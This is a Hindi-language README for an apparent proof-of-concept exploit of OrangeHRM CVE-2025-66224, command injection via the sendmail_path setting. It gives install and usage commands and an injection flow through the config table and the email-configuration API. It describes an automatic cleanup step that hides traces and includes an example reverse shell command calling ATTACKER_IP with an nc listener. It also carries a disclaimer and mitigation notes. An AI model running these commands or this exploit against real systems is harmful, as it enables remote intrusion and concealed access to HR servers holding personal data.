OrangeHRM RCE शोषण - CVE-2025-66224

📋 विवरण

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) OrangeHRM में sendmail_path कॉन्फ़िगरेशन पैरामीटर में कमांड इंजेक्शन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी को प्रदर्शित करता है।

शोषण निम्न प्रकार काम करता है:

1. MySQL डेटाबेस (hs_hr_config तालिका) में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करना
2. ईमेल कॉन्फ़िगरेशन API समाप्ति बिंदु के माध्यम से पेलोड निष्पादन को ट्रिगर करना
3. निशान साफ़ करने के लिए मूल मान को स्वचालित रूप से पुनर्स्थापित करना

🎯 प्रभावित संस्करण

• OrangeHRM संस्करण 5.0 से 5.7

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस टूल के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं हैं।

🔧 आवश्यकताएँ

pip install requests mysql-connector-python

📦 स्थापना

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 उपयोग

चरण 1: सत्र कुकी प्राप्त करें

1. वेब इंटरफ़ेस के माध्यम से OrangeHRM में लॉग इन करें
2. ब्राउज़र डेवलपर टूल (F12) खोलें
3. Storage > Cookies (Firefox) या Application > Cookies (Chrome) पर जाएँ
4. _orangehrm कुकी मान कॉपी करें

चरण 2: शोषण चलाएँ

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
    -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
    -cmd '<COMMAND_TO_EXECUTE>'

उदाहरण - सरल कमांड

python3 exploit.py -t http://127.0.0.1:8080/ \
    -c "g58tak8pbnheseatv6dggvi31i" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd "touch /tmp/pwned"

उदाहरण - रिवर्स शेल

# हमलावर मशीन पर श्रोता प्रारंभ करें
nc -lvnp 4444

# रिवर्स शेल पेलोड के साथ शोषण निष्पादित करें
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 पैरामीटर

🔍 यह कैसे काम करता है

कमजोरी विवरण

यह कमजोरी ईमेल कॉन्फ़िगरेशन कार्यक्षमता में मौजूद है जहाँ sendmail_path पैरामीटर डेटाबेस में संग्रहीत किया जाता है और बाद में उचित स्वच्छता के बिना निष्पादित किया जाता है।

शोषण प्रवाह:

1. OrangeHRM में प्रमाणित करें (मान्य सत्र कुकी प्राप्त करें)
   ↓
2. MySQL डेटाबेस से कनेक्ट करें
   ↓
3. hs_hr_config तालिका का पता लगाएं
   ↓
4. email_config.sendmail_path मान अपडेट करें:
   से: /usr/sbin/sendmail -bs
   को: /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. API के माध्यम से निष्पादन ट्रिगर करें:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. कमांड सर्वर पर निष्पादित होता है
   ↓
7. मूल मान पुनर्स्थापित करें (सफाई)

तकनीकी विवरण

कमजोर पैरामीटर: email_config.sendmail_path

डेटाबेस:

• तालिका: hs_hr_config
• कॉलम: name = 'email_config.sendmail_path'
• कॉलम: value = sendmail कमांड पथ

ट्रिगर समाप्ति बिंदु:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ शमन

1. इनपुट सत्यापन: sendmail_path पैरामीटर के लिए सख्त सत्यापन लागू करें
2. एस्केपिंग: निष्पादन से पहले शेल कमांड को उचित रूप से एस्केप करें
3. न्यूनतम विशेषाधिकार: वेब सर्वर को न्यूनतम विशेषाधिकारों के साथ चलाएँ
4. अपडेट: OrangeHRM के लिए नवीनतम सुरक्षा पैच लागू करें

🤝 श्रेय

PoC द्वारा: RiccK

टीम: Bypassadores && HackersOnSteroids

🔗 संदर्भ

• CVE-2025-66224

⚠️ जिम्मेदारी से उपयोग करें। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।